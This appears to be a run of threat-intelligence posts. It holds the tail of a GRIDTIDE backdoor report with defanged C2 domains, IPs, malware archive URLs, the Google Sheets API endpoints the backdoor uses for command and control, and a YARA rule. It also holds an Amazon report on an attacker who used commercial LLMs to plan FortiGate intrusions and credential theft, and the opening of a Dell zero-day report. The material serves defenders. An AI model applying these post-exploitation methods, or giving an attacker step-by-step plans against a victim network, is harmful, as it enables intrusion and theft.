    Malicious systemd service file created for GRIDTIDE persistence.

    eb08c840f4c95e2fa5eff05e5f922f86c766f5368a63476f046b2b9dbffc2033

    hamcore.se2

    SoftEtherVPN Bridge component.

    4eb994b816a1a24cf97bfd7551d00fe14b810859170dbf15180d39e05cd7c0f9

    fire

    SoftEtherVPN Bridge component (renamed from vmlog). Extracted from update.tar.gz.

    4eb994b816a1a24cf97bfd7551d00fe14b810859170dbf15180d39e05cd7c0f9

    vpn_bridge.config

    SoftEtherVPN Bridge configuration.

    669917bad46a57e5f2de037f8ec200a44fb579d723af3e2f1be1e8479a267966

    apt.tar.gz

    Archive downloaded from 130.94.6[.]228. Contained GRIDTIDE.

    N/A

    update.tar.gz

    Additional archive downloaded. Contained vmlog (renamed to fire), a SoftEtherVPN Bridge component.

    N/A

    amp.tar.gz

    Additional archive downloaded. Contained hamcore.se2, a SoftEtherVPN Bridge component.

    N/A

    pmp

    GRIDTIDE variant.

    N/A

    pmp.cfg

    GRIDTIDE variant key file.

    N/A

    Network-Based Artifacts

    Type

    Description

    Artifact

    IP

    C2 server hosting apt.tar.gz, update.tar.gz, and amp.tar.gz.

    130[.]94[.]6[.]228

    IP

    Target of a curl -ik command to verify HTTPS access to their infrastructure.

    38[.]180[.]205[.]14

    IP

    Threat actor’s SoftEtherVPN server.

    38[.]60[.]194[.]21

    IP

    Attacker IP

    38[.]54[.]112[.]184

    IP

    Attacker IP

    38[.]60[.]171[.]242

    IP

    Attacker IP

    195[.]123[.]211[.]70

    IP

    Attacker IP

    202[.]59[.]10[.]122

    IP

    Hosting malicious C2 domain.

    38[.]60[.]252[.]66

    IP

    Hosting malicious C2 domain.

    45[.]76[.]184[.]214

    IP

    Hosting malicious C2 domain.

    45[.]90[.]59[.]129

    IP

    Hosting malicious C2 domain.

    195[.]123[.]226[.]235

    IP

    Hosting malicious C2 domain.

    65[.]20[.]104[.]91

    IP

    Hosting malicious C2 domain.

    5[.]34[.]176[.]6

    IP

    Hosting malicious C2 domain.

    139[.]84[.]236[.]237

    IP

    Hosting malicious C2 domain.

    149[.]28[.]128[.]128

    IP

    Hosting malicious C2 domain.

    38[.]54[.]31[.]146

    IP

    Hosting malicious C2 domain.

    178[.]79[.]188[.]181

    IP

    Hosting malicious C2 domain.

    38[.]54[.]37[.]196

    IP

    SoftEtherVPN server.

    207[.]148[.]73[.]18

    IP

    SoftEtherVPN server.

    38[.]60[.]224[.]25

    IP

    SoftEtherVPN server.

    149[.]28[.]139[.]125

    IP

    SoftEtherVPN server.

    38[.]54[.]32[.]244

    IP

    SoftEtherVPN server.

    38[.]54[.]82[.]69

    IP

    SoftEtherVPN server.

    45[.]76[.]157[.]113

    IP

    SoftEtherVPN server.

    45[.]77[.]254[.]168

    IP

    SoftEtherVPN server.

    139[.]180[.]219[.]115

    User-Agent

    GRIDTIDE User-Agent string.

    Directory API Google-API-Java-Client/2.0.0 Google-HTTP-Java-Client/1.42.3 (gzip)

    User-Agent

    GRIDTIDE User-Agent string.

    Google-HTTP-Java-Client/1.42.3 (gzip)

    Domain

    C2 domain

    1cv2f3d5s6a9w[.]ddnsfree[.]com

    Domain

    C2 domain

    admina[.]freeddns[.]org

    Domain

    C2 domain

    afsaces[.]accesscam[.]org

    Domain

    C2 domain

    ancisesic[.]accesscam[.]org

    Domain

    C2 domain

    applebox[.]camdvr[.]org

    Domain

    C2 domain

    appler[.]kozow[.]com

    Domain

    C2 domain

    asdad21ww[.]freeddns[.]org

    Domain

    C2 domain

    aw2o25forsbc[.]camdvr[.]org

    Domain

    C2 domain

    awcc001jdaigfwdagdcew[.]giize[.]com

    Domain

    C2 domain

    bab2o25com[.]accesscam[.]org

    Domain

    C2 domain

    babaji[.]accesscam[.]org

    Domain

    C2 domain

    babi5599ss[.]ddnsgeek[.]com

    Domain

    C2 domain

    balabalabo[.]mywire[.]org

    Domain

    C2 domain

    bggs[.]giize[.]com

    Domain

    C2 domain

    bibabo[.]freeddns[.]org

    Domain

    C2 domain

    binmol[.]webredirect[.]org

    Domain

    C2 domain

    bioth[.]giize[.]com

    Domain

    C2 domain

    Boemobww[.]ddnsfree[.]com

    Domain

    C2 domain

    brcallletme[.]theworkpc[.]com

    Domain

    C2 domain

    btbtutil[.]theworkpc[.]com

    Domain

    C2 domain

    btltan[.]ooguy[.]com

    Domain

    C2 domain

    camcampkes[.]ddnsfree[.]com

    Domain

    C2 domain

    camsqewivo[.]kozow[.]com

    Domain

    C2 domain

    ccammutom[.]ddnsgeek[.]com

    Domain

    C2 domain

    cdnvmtools[.]theworkpc[.]com

    Domain

    C2 domain

    cloacpae[.]ddnsfree[.]com

    Domain

    C2 domain

    cmwwoods1[.]theworkpc[.]com

    Domain

    C2 domain

    cnrpaslceas[.]freeddns[.]org

    Domain

    C2 domain

    codemicros12[.]gleeze[.]com

    Domain

    C2 domain

    cressmiss[.]ooguy[.]com

    Domain

    C2 domain

    cvabiasbae[.]ddnsfree[.]com

    Domain

    C2 domain

    cvnoc01da1cjmnftsd[.]accesscam[.]org

    Domain

    C2 domain

    cvpc01aenusocirem[.]accesscam[.]org

    Domain

    C2 domain

    cvpc01cgsdfn53hgd[.]giize[.]com

    Domain

    C2 domain

    DCLCWPDTSDCC[.]ddnsfree[.]com

    Domain

    C2 domain

    dlpossie[.]ddnsfree[.]com

    Domain

    C2 domain

    dnsfreedb[.]ddnsfree[.]com

    Domain

    C2 domain

    doboudix1024[.]mywire[.]org

    Domain

    C2 domain

    evilginx2[.]loseyourip[.]com

    Domain

    C2 domain

    examp1e[.]webredirect[.]org

    Domain

    C2 domain

    faeelt[.]giize[.]com

    Domain

    C2 domain

    fakjcsaeyhs[.]ddnsfree[.]com

    Domain

    C2 domain

    fasceadvcva3[.]gleeze[.]com

    Domain

    C2 domain

    ffosies2024[.]camdvr[.]org

    Domain

    C2 domain

    fgdedd1dww[.]gleeze[.]com

    Domain

    C2 domain

    filipinet[.]ddnsgeek[.]com

    Domain

    C2 domain

    freeios[.]theworkpc[.]com

    Domain

    C2 domain

    ftpuser14[.]gleeze[.]com

    Domain

    C2 domain

    ftpzpak[.]kozow[.]com

    Domain

    C2 domain

    globoss[.]kozow[.]com

    Domain

    C2 domain

    gogo2025up[.]ddnsfree[.]com

    Domain

    C2 domain

    googlel[.]gleeze[.]com

    Domain

    C2 domain

    googles[.]accesscam[.]org

    Domain

    C2 domain

    googles[.]ddnsfree[.]com

    Domain

    C2 domain

    googlett[.]camdvr[.]org

    Domain

    C2 domain

    googllabwws[.]gleeze[.]com

    Domain

    C2 domain

    gtaldps31c[.]ddnsfree[.]com

    Domain

    C2 domain

    hamkorg[.]kozow[.]com

    Domain

    C2 domain

    honidoo[.]loseyourip[.]com

    Domain

    C2 domain

    huygdr12[.]loseyourip[.]com

    Domain

    C2 domain

    icekancusjhea[.]ddnsgeek[.]com

    Domain

    C2 domain

    idstandsuui[.]kozow[.]com

    Domain

    C2 domain

    indoodchat[.]theworkpc[.]com

    Domain

    C2 domain

    jarvis001[.]freeddns[.]org

    Domain

    C2 domain

    Kaushalya[.]freeddns[.]org

    Domain

    C2 domain

    khyes001ndfpnuewdm[.]kozow[.]com

    Domain

    C2 domain

    kskxoscieontrolanel[.]gleeze[.]com

    Domain

    C2 domain

    ksv01sokudwongsj[.]theworkpc[.]com

    Domain

    C2 domain

    lcskiecjj[.]loseyourip[.]com

    Domain

    C2 domain

    lcskiecs[.]ddnsfree[.]com

    Domain

    C2 domain

    losiesca[.]ddnsgeek[.]com

    Domain

    C2 domain

    lps2staging[.]ddnsfree[.]com

    Domain

    C2 domain

    lsls[.]casacam[.]net

    Domain

    C2 domain

    ltiuys[.]ddnsgeek[.]com

    Domain

    C2 domain

    ltiuys[.]kozow[.]com

    Domain

    C2 domain

    mailsdy[.]gleeze[.]com

    Domain

    C2 domain

    maliclick1[.]ddnsfree[.]com

    Domain

    C2 domain

    mauritasszddb[.]ddnsfree[.]com

    Domain

    C2 domain

    meetls[.]kozow[.]com

    Domain

    C2 domain

    Microsoft[.]bumbleshrimp[.]com

    Domain

    C2 domain

    ml3[.]freeddns[.]org

    Domain

    C2 domain

    mlksucnayesk[.]kozow[.]com

    Domain

    C2 domain

    mmmfaco2025[.]mywire[.]org

    Domain

    C2 domain

    mms[.]bumbleshrimp[.]com

    Domain

    C2 domain

    mmvmtools[.]giize[.]com

    Domain

    C2 domain

    modgood[.]gleeze[.]com

    Domain

    C2 domain

    Mosplosaq[.]accesscam[.]org

    Domain

    C2 domain

    mysql[.]casacam[.]net

    Domain

    C2 domain

    nenigncagvawr[.]giize[.]com

    Domain

    C2 domain

    nenignenigoncqvoo[.]ooguy[.]com

    Domain

    C2 domain

    nenigoncqnutgo[.]accesscam[.]org

    Domain

    C2 domain

    nenigoncuopzc[.]giize[.]com

    Domain

    C2 domain

    nims[.]gleeze[.]com

    Domain

    C2 domain

    nisaldwoa[.]theworkpc[.]com

    Domain

    C2 domain

    nmszablogs[.]ddnsfree[.]com

    Domain

    C2 domain

    nodekeny11[.]freeddns[.]org

    Domain

    C2 domain

    nodjs2o25nodjs[.]giize[.]com

    Domain

    C2 domain

    Npeoples[.]theworkpc[.]com

    Domain

    C2 domain

    officeshan[.]kozow[.]com

    Domain

    C2 domain

    okkstt[.]ddnsgeek[.]com

    Domain

    C2 domain

    oldatain1[.]ddnsgeek[.]com

    Domain

    C2 domain

    onlyosun[.]ooguy[.]com

    Domain

    C2 domain

    osix[.]ddnsgeek[.]com

    Domain

    C2 domain

    ovmmiuy[.]mywire[.]org

    Domain

    C2 domain

    palamolscueajfvc[.]gleeze[.]com

    Domain

    C2 domain

    pawanp[.]kozow[.]com

    Domain

    C2 domain

    pcmainecia[.]ddnsfree[.]com

    Domain

    C2 domain

    pcvmts3[.]kozow[.]com

    Domain

    C2 domain

    peisuesacae[.]loseyourip[.]com

    Domain

    C2 domain

    peowork[.]ddnsgeek[.]com

    Domain

    C2 domain

    pepesetup[.]ddnsfree[.]com

    Domain

    C2 domain

    pewsus[.]freeddns[.]org

    Domain

    C2 domain

    plcoaweniva[.]ddnsgeek[.]com

    Domain

    C2 domain

    PolicyAgent[.]theworkpc[.]com

    Domain

    C2 domain

    polokinyea[.]gleeze[.]com

    Domain

    C2 domain

    pplodsssead222[.]loseyourip[.]com

    Domain

    C2 domain

    pplosad231[.]kozow[.]com

    Domain

    C2 domain

    ppsaBedon[.]gleeze[.]com

    Domain

    C2 domain

    prdanjana01[.]ddnsfree[.]com

    Domain

    C2 domain

    prepaid127[.]freeddns[.]org

    Domain

    C2 domain

    PRIFTP[.]kozow[.]com

    Domain

    C2 domain

    prihxlcs[.]ddnsfree[.]com

    Domain

    C2 domain

    prihxlcsw[.]theworkpc[.]com

    Domain

    C2 domain

    pxlaxvvva[.]freeddns[.]org

    Domain

    C2 domain

    quitgod2023luck[.]giize[.]com

    Domain

    C2 domain

    rabbit[.]ooguy[.]com

    Domain

    C2 domain

    rsm323[.]kozow[.]com

    Domain

    C2 domain

    saf3asg[.]giize[.]com

    Domain

    C2 domain

    Scopps[.]ddnsgeek[.]com

    Domain

    C2 domain

    sdhite43[.]ddnsfree[.]com

    Domain

    C2 domain

    sdsuytoins63[.]kozow[.]com

    Domain

    C2 domain

    selfad[.]gleeze[.]com

    Domain

    C2 domain

    serious[.]kozow[.]com

    Domain

    C2 domain

    setupcodpr2[.]freeddns[.]org

    Domain

    C2 domain

    sgsn[.]accesscam[.]org

    Domain

    C2 domain

    Smartfren[.]giize[.]com

    Domain

    C2 domain

    sn0son4t31bbsvopou[.]camdvr[.]org

    Domain

    C2 domain

    sn0son4t31opc[.]freeddns[.]org

    Domain

    C2 domain

    soovuy[.]gleeze[.]com

    Domain

    C2 domain

    styuij[.]mywire[.]org

    Domain

    C2 domain

    supceasfg1[.]loseyourip[.]com

    Domain

    C2 domain

    systemsz[.]kozow[.]com

    Domain

    C2 domain

    t31c0mjumpcuyerop[.]ooguy[.]com

    Domain

    C2 domain

    t31c0mopamcuiomx[.]kozow[.]com

    Domain

    C2 domain

    t31c0mopmiuewklg[.]webredirect[.]org

    Domain

    C2 domain

    t31c0mopocuveop[.]accesscam[.]org

    Domain

    C2 domain

    t3lc0mcanyqbfac[.]loseyourip[.]com

    Domain

    C2 domain

    t3lc0mczmoihwc[.]camdvr[.]org

    Domain

    C2 domain

    t3lc0mh4udncifw[.]casacam[.]net

    Domain

    C2 domain

    t3lc0mhasvnctsk[.]giize[.]com

    Domain

    C2 domain

    t3lm0rtlcagratu[.]kozow[.]com

    Domain

    C2 domain

    tch[.]giize[.]com

    Domain

    C2 domain

    telcomn[.]giize[.]com

    Domain

    C2 domain

    telen[.]bumbleshrimp[.]com

    Domain

    C2 domain

    telkom[.]ooguy[.]com

    Domain

    C2 domain

    telkomservices[.]theworkpc[.]com

    Domain

    C2 domain

    thbio[.]kozow[.]com

    Domain

    C2 domain

    timpe[.]kozow[.]com

    Domain

    C2 domain

    timpe[.]webredirect[.]org

    Domain

    C2 domain

    tlse001hdfuwwgdgpnn[.]theworkpc[.]com

    Domain

    C2 domain

    tltlsktelko[.]ddnsfree[.]com

    Domain

    C2 domain

    transport[.]dynuddns[.]net

    Domain

    C2 domain

    trvcl[.]bumbleshrimp[.]com

    Domain

    C2 domain

    ttsiou12[.]loseyourip[.]com

    Domain

    C2 domain

    ua2o25yth[.]ddnsgeek[.]com

    Domain

    C2 domain

    udieyg[.]gleeze[.]com

    Domain

    C2 domain

    unnjunnani[.]ddnsfree[.]com

    Domain

    C2 domain

    updatamail[.]kozow[.]com

    Domain

    C2 domain

    updatasuccess[.]ddnsgeek[.]com

    Domain

    C2 domain

    updateservices[.]kozow[.]com

    Domain

    C2 domain

    updatetools[.]giize[.]com

    Domain

    C2 domain

    uscplxsecjs[.]ddnsgeek[.]com

    Domain

    C2 domain

    USOShared1[.]ddnsfree[.]com

    Domain

    C2 domain

    vals[.]bumbleshrimp[.]com

    Domain

    C2 domain

    vass[.]ooguy[.]com

    Domain

    C2 domain

    vass2025[.]casacam[.]net

    Domain

    C2 domain

    vmtools[.]camdvr[.]org

    Domain

    C2 domain

    vmtools[.]loseyourip[.]com

    Domain

    C2 domain

    vosies[.]ddnsfree[.]com

    Domain

    C2 domain

    vpaspmine[.]freeddns[.]org

    Domain

    C2 domain

    wdlcamaakc[.]ooguy[.]com

    Domain

    C2 domain

    winfoss1[.]kozow[.]com

    Domain

    C2 domain

    ysiohbk[.]camdvr[.]org

    Domain

    C2 domain

    zammffayhd[.]ddnsfree[.]com

    Domain

    C2 domain

    zmcmvmbm[.]ddnsfree[.]com

    Domain

    C2 domain

    zwmn350n3o1fsdf3gs[.]kozow[.]com

    Domain

    C2 domain

    zwmn350n3o1ugety2xbe[.]camdvr[.]org

    Domain

    C2 domain

    zwmn350n3o1vsdrggs[.]ddnsfree[.]com

    Domain

    C2 domain

    zwt310n3o1unety2kab[.]webredirect[.]org

    Domain

    C2 domain

    zwt310n3o2unety6a3k[.]kozow[.]com

    Domain

    C2 domain

    zwt31n3t0nidoqmve[.]camdvr[.]org

    Domain

    C2 domain

    zwt3ln3t1aimckalw[.]theworkpc[.]com

    SHA256 Hash

    Self-signed X.509 SSL certificate

    d25024ccea8eac85a9522289cfb709f2ed4e20176dd37855bacc2cd75c995606

    Description

    URLs

    Archive contained GRIDTIDE.

    http://130[.]94[.]6[.]228/apt.tar.gz

    Archive contained a SoftEtherVPN Bridge component.

    http://130[.]94[.]6[.]228/update.tar.gz

    Archive contained a SoftEtherVPN Bridge component.

    http://130[.]94[.]6[.]228/amp.tar.gz

    GRIDTIDE leverages this API endpoint to monitor cell A1 of the spreadsheet for threat actor commands.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values/A1?valueRenderOption=FORMULA

    GRIDTIDE leverages this API endpoint to clear data from the first 1000 rows of the spreadsheet.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values:batchClear

    GRIDTIDE leverages this API endpoint to exfiltrate victim host metadata to cell V1, report command execution output and status messages to cell A1, and to transfer data into the A2:An cell range.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values:batchUpdate

    GRIDTIDE leverages this API endpoint to transfer data from the A2:An cell range to the victim host.

    https://sheets[.]googleapis[.]com:443/v4/spreadsheets/<GoogleSheetID>/values/A2:A<cell_number>?valueRenderOption=FORMULA

    GRIDTIDE YARA Rule

    rule G_APT_Backdoor_GRIDTIDE_1 {
    	meta:
    		author = "Google Threat Intelligence Group (GTIG)"
    	strings:
    		$s1 = { 7B 22 61 6C 67 22 3A 22 52 53 32 35 36 22 2C 22 6B 69 64 22 3A 22 25 73 22 2C 22 74 79 70 22 3A 22 4A 57 54 22 7D 00 }
    		$s2 = { 2F 70 72 6F 63 2F 73 65 6C 66 2F 65 78 65 00 }
    		$s3 = { 7B 22 72 61 6E 67 65 73 22 3A 5B 22 61 31 3A 7A 31 30 30 30 22 5D 7D 00 }
    		$s4 = { 53 2D 55 2D 25 73 2D 31 00 }
    		$s5 = { 53 2D 55 2D 52 2D 31 00 }
    		$s6 = { 53 2D 44 2D 25 73 2D 30 00 }
    		$s7 = { 53 2D 44 2D 52 2D 25 64 00 }
    	condition:
    		(uint32(0) == 0x464c457f) and 6 of ($*)
    }

    AI-augmented threat actor accesses FortiGate devices at scale

    20 February 2026 at 21:27

    Commercial AI services are enabling even unsophisticated threat actors to conduct cyberattacks at scale—a trend Amazon Threat Intelligence has been tracking closely. A recent investigation illustrates this shift: Amazon Threat Intelligence observed a Russian-speaking financially motivated threat actor leveraging multiple commercial generative AI services to compromise over 600 FortiGate devices across more than 55 countries from January 11 to February 18, 2026. No exploitation of FortiGate vulnerabilities was observed—instead, this campaign succeeded by exploiting exposed management ports and weak credentials with single-factor authentication, fundamental security gaps that AI helped an unsophisticated actor exploit at scale. This activity is distinguished by the threat actor’s use of multiple commercial GenAI services to implement and scale well-known attack techniques throughout every phase of their operations, despite their limited technical capabilities. AWS infrastructure was not observed to be involved in this campaign. Amazon Threat Intelligence is sharing these findings to help the broader security community defend against this activity.

    This investigation highlights how commercial AI services can lower the technical barrier to entry for offensive cyber capabilities. The threat actor in this campaign is not known to be associated with any advanced persistent threat group with state-sponsored resources. They are likely a financially motivated individual or small group who, through AI augmentation, achieved an operational scale that would have previously required a significantly larger and more skilled team. Yet, based on our analysis of public sources, they successfully compromised multiple organizations’ Active Directory environments, extracted complete credential databases, and targeted backup infrastructure, a potential precursor to ransomware deployment. Notably, when this actor encountered hardened environments or more sophisticated defensive measures, they simply moved on to softer targets rather than persisting, underscoring that their advantage lies in AI-augmented efficiency and scale, not in deeper technical skill.

    As we expect this trend to continue in 2026, organizations should anticipate that AI-augmented threat activity will continue to grow in volume from both skilled and unskilled adversaries. Strong defensive fundamentals remain the most effective countermeasure: patch management for perimeter devices, credential hygiene, network segmentation, and robust detection for post-exploitation indicators.

    Campaign overview

    Through routine threat intelligence operations, Amazon Threat Intelligence identified infrastructure hosting malicious tooling associated with this campaign. The threat actor had staged additional operational files on the same publicly accessible infrastructure, including AI-generated attack plans, victim configurations, and source code for custom tooling. This inadequate operational security provided comprehensive visibility into the threat actor’s methodologies and the specific ways they leverage AI throughout their operations. It’s like an AI-powered assembly line for cybercrime, helping less skilled workers produce at scale.

    The threat actor compromised globally dispersed FortiGate appliances, extracting full device configurations that yielded credentials, network topology information, and device configuration information. They then used these stolen credentials to connect to victim internal networks and conduct post-exploitation activities including Active Directory compromise, credential harvesting, and attempts to access backup infrastructure, consistent with pre-ransomware operations.

    Initial access: Mass credential abuse

    The threat actor’s initial access vector was credential-based access to FortiGate management interfaces exposed to the internet. Analysis of the actor’s tooling supported systematic scanning for management interfaces across ports 443, 8443, 10443, and 4443, followed by authentication attempts using commonly reused credentials.

    FortiGate configuration files represent high-value targets because they contain:

    • SSL-VPN user credentials with recoverable passwords
    • Administrative credentials
    • Complete network topology and routing information
    • Firewall policies revealing internal architecture
    • IPsec VPN peer configurations

    The threat actor developed AI-assisted Python scripts to parse, decrypt, and organize these stolen configurations.

    Geographic distribution

    The campaign’s targeting appears opportunistic rather than sector-specific, consistent with automated mass scanning for vulnerable appliances. However, certain patterns suggest organizational-level compromise where multiple FortiGate devices belonging to the same entity were accessed. Amazon Threat Intelligence observed clusters where contiguous IP blocks or shared non-standard management ports indicated managed service provider deployments or large organizational networks. Concentrations of compromised devices were observed across South Asia, Latin America, the Caribbean, West Africa, Northern Europe, and Southeast Asia, among other regions.

    Custom tooling: AI-generated reconnaissance framework

    Following VPN access to victim networks, the threat actor deploys a custom reconnaissance tool, with different versions written in both Go and Python. Analysis of the source code reveals clear indicators of AI-assisted development: redundant comments that merely restate function names, simplistic architecture with disproportionate investment in formatting over functionality, naive JSON parsing via string matching rather than proper deserialization, and compatibility shims for language built-ins with empty documentation stubs. While functional for the threat actor’s specific use case, the tooling lacks robustness and fails under edge cases—characteristics typical of AI-generated code used without significant refinement.

    The tool automates the post-VPN reconnaissance workflow:

    1. Ingesting target networks from VPN routing tables
    2. Classifying networks by size
    3. Running service discovery using gogo, an open-source port scanner
    4. Automatically identifying SMB hosts and domain controllers
    5. Integrating vulnerability scanning using Nuclei, an open-source vulnerability scanner, against discovered HTTP services to produce prioritized target lists.

    Post-exploitation methodology

    Once inside victim networks, the threat actor follows a standard approach leveraging well-known open-source offensive tools.

    Domain compromise: The threat actor’s operational documentation details the intended use of Meterpreter, an open-source post-exploitation toolkit, with the mimikatz module to perform DCSync attacks against domain controllers. This allowed the actor to extract NTLM password hashes from Active Directory. In confirmed compromises, the attacker obtained complete domain credential databases. In at least one case, the Domain Administrator account used a plaintext password that was either extracted from the FortiGate configuration through password reuse or was independently weak.

    Lateral movement: Following domain compromise, the threat actor attempts to expand access through pass-the-hash/pass-the-ticket attacks against additional infrastructure, NTLM relay attacks using standard poisoning tools, and remote command execution on Windows hosts.

    Backup infrastructure targeting: The threat actor specifically targeted Veeam Backup & Replication servers, deploying multiple tools for extracting credentials, including PowerShell scripts, compiled decryption tools, and exploitation attempts leveraging known Veeam vulnerabilities. Backup servers represent high-value targets because they typically store elevated credentials for backup operations, and compromising backup infrastructure positions an attacker to destroy recovery capabilities before deploying ransomware.

    Limited exploitation success: The threat actor’s operational notes reference multiple CVEs across various targets (CVE-2019-7192, CVE-2023-27532, and CVE-2024-40711, among others). However, a critical finding from this analysis is that the threat actor largely failed when attempting to exploit anything beyond the most straightforward, automated attack paths. Their own documentation records repeated failures: targeted services were patched, required ports were closed, vulnerabilities didn’t apply to the target OS versions, . Their final operational assessment for one confirmed victim acknowledged that key infrastructure targets were “well-protected” with “no vulnerable exploitation vectors.”

    AI as a force multiplier

    Amazon Threat Intelligence analysis revealed that the actor uses at least two distinct commercial LLM providers throughout their operations.

    AI-generated attack planning: The threat actor used AI to generate comprehensive attack methodologies complete with step-by-step exploitation instructions, expected success rates, time estimates, and prioritized task trees. These plans reference academic research on offensive AI agents, suggesting the actor follows emerging literature on AI-assisted penetration testing. The AI produces technically accurate command sequences, but the actor struggles to adapt when conditions differ from the plan. They cannot compile custom exploits, debug failed exploitation attempts, or creatively pivot when standard approaches fail.

    Multi-model operational workflow: Amazon Threat Intelligence identified the actor using multiple AI services in complementary roles. One serves as the primary tool developer, attack planner, and operational assistant. A second is used as a supplementary attack planner when the actor needs help pivoting within a specific compromised network. In one observed instance, the actor submitted the complete internal topology of an active victim—IP addresses, hostnames, confirmed credentials, and identified services—and requested a step-by-step plan to compromise additional systems they could not access with their existing tools.

    AI-generated tooling at scale: Beyond the reconnaissance framework, the actor’s infrastructure contains numerous scripts in multiple programming languages bearing hallmarks of AI generation, including configuration parsers, credential extraction tools, VPN connection automation, mass scanning orchestration, and result aggregation dashboards. The volume and variety of custom tooling would typically indicate a well-resourced development team. Instead, a single actor or very small group generated this entire toolkit through AI-assisted development.

    Threat actor assessment

    Based on comprehensive analysis, Amazon Threat Intelligence assesses this threat actor as follows:

    • Motivation: Suspected financially motivated, based on widespread, indiscriminate targeting and low sophistication
    • Language: Russian-speaking, based on extensive Russian-language operational documentation
    • Skill level: Low-to-medium baseline technical capability, significantly augmented by AI. The actor can run standard offensive tools and automate routine tasks but struggles with exploit compilation, custom development, and creative problem-solving during live operations
    • AI dependency: Extensive reliance across all operational phases. AI is used for tool development, attack planning, command generation, and operational reporting across multiple commercial LLM providers
    • Operational scale: Broad. Compromised devices across dozens of countries, with evidence of sustained operations over an extended period
    • Post-exploitation depth: Shallow. Repeated failures against hardened or non-standard targets, with a pattern of moving on rather than persisting when automated approaches fail
    • Operational security: Inadequate. Detailed operational plans, credentials, and victim data stored without encryption alongside tooling

    Amazon’s response

    Amazon Threat Intelligence remains committed to helping protect customers and the broader internet ecosystem by actively investigating and disrupting threat actors.

    Upon discovering this campaign, Amazon Threat Intelligence took the following actions:

    • Shared actionable intelligence, including indicators of compromise, with relevant partners
    • Collaborated with industry partners to broaden visibility into the campaign and support coordinated defense efforts

    Through these efforts, Amazon helped reduce the threat actor’s operational effectiveness and enabled organizations across multiple countries to take steps to disrupt the efficacy of the campaign.

    Defending your organization

    This campaign succeeded through a combination of exposed management interfaces, weak credentials, and single-factor authentication—all fundamental security gaps that AI helped an unsophisticated actor exploit at scale. This underscores that strong security fundamentals are powerful defenses against AI-augmented threats. Organizations should review and implement the following.

    1. FortiGate appliance audit

    Organizations running FortiGate appliances should take immediate action:

    • Ensure management interfaces are not exposed to the internet. If remote administration is required, restrict access to known IP ranges and use a bastion host or out-of-band management network
    • Change all default and common credentials on FortiGate appliances, including administrative and VPN user accounts
    • Rotate all SSL-VPN user credentials, particularly for any appliance whose management interface was or may have been internet-accessible
    • Implement multi-factor authentication for all administrative and VPN access
    • Review FortiGate configurations for unauthorized administrative accounts or policy changes
    • Audit VPN connection logs for connections from unexpected geographic locations

    2. Credential hygiene

    Given the extraction of credentials from FortiGate configurations:

    • Audit for password reuse between FortiGate VPN credentials and Active Directory domain accounts
    • Implement multi-factor authentication for all VPN access
    • Enforce unique, complex passwords for all accounts, particularly Domain Administrator accounts
    • Review and rotate service account credentials, especially those used in backup infrastructure

    3. Post-exploitation detection

    Organizations that may have been affected should monitor for:

    • Unexpected DCSync operations (Event ID 4662 with replication-related GUIDs)
    • New scheduled tasks named to mimic legitimate Windows services
    • Unusual remote management connections from VPN address pools
    • LLMNR/NBT-NS poisoning artifacts in network traffic
    • Unauthorized access to backup credential stores
    • New accounts with names designed to blend with legitimate service accounts

    4. Backup infrastructure hardening

    The threat actor’s focus on backup infrastructure highlights the importance of:

    • Isolating backup servers from general network access
    • Patching backup software against known credential extraction vulnerabilities
    • Monitoring for unauthorized PowerShell module loading on backup servers
    • Implementing immutable backup copies that cannot be modified even with administrative access

    AWS-specific recommendations

    For organizations using AWS:

    • Enable Amazon GuardDuty for threat detection, including monitoring for unusual API calls and credential usage patterns
    • Use Amazon Inspector to automatically scan for software vulnerabilities and unintended network exposure
    • Use AWS Security Hub to maintain continuous visibility into your security posture
    • Use AWS Systems Manager Patch Manager to maintain patching compliance across EC2 instances running network appliances
    • Review IAM access patterns for signs of credential replay following any suspected network device compromise

    Indicators of compromise (IOCs)

    This campaign’s reliance on legitimate open-source tools—including Impacket, gogo, Nuclei, and others—means that traditional IOC-based detection has limited effectiveness. These tools are widely used by penetration testers and security professionals, and their presence alone is not indicative of compromise. Organizations should investigate context around matches, prioritizing behavioral detection (anomalous VPN authentication patterns, unexpected Active Directory replication, lateral movement from VPN address pools) over signature-based approaches.

    IOC Value

    IOC Type

    First Seen

    Last Seen

    Annotation

    212[.]11.64.250

    IPv4

    1/11/2026

    2/18/2026

    Threat actor infrastructure used for scanning and exploitation operations

    185[.]196.11.225

    IPv4

    1/11/2026

    2/18/2026

    Threat actor infrastructure used for threat operations


    If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

    CJ Moses

    CJ Moses

    CJ Moses is the CISO of Amazon Integrated Security. In his role, CJ leads security engineering and operations across Amazon. His mission is to enable Amazon businesses by making the benefits of security the path of least resistance. CJ joined Amazon in December 2007, holding various roles including Consumer CISO, and most recently AWS CISO, before becoming CISO of Amazon Integrated Security September of 2023.

    Prior to joining Amazon, CJ led the technical analysis of computer and network intrusion efforts at the Federal Bureau of Investigation’s Cyber Division. CJ also served as a Special Agent with the Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the security industry today.

    CJ holds degrees in Computer Science and Criminal Justice, and is an active SRO GT America GT2 race car driver.

    From BRICKSTORM to GRIMBOLT: UNC6201 Exploiting a Dell RecoverPoint for Virtual Machines Zero-Day

    17 February 2026 at 15:00

    Written by: Peter Ukhanov, Daniel Sislo, Nick Harbour, John Scarbrough, Fernando Tomlinson, Jr., Rich Reece


    Introduction 

    Mandiant and Google Threat Intelligence Group (GTIG) have identified the zero-day exploitation of a high-risk vulnerability in Dell RecoverPoint for Virtual Machines, tracked as CVE-2026-22769with a CVSSv3.1 score of 10.0. Analysis of incident response engagements revealed that UNC6201, a suspected PRC-nexus threat cluster, has exploited this flaw since at least mid-2024 to move laterally, maintain persistent access, and deploy malware including SLAYSTYLE, BRICKSTORM, and a novel backdoor tracked as GRIMBOLT. The initial access vector for these incidents was not confirmed, but UNC6201 is known to target edge appliances (such as VPN concentrators) for initial access. There are notable overlaps between UNC6201 and UNC5221, which has been used synonymously with the actor publicly reported as Silk Typhoon, although GTIG does not currently consider the two clusters to be the same.

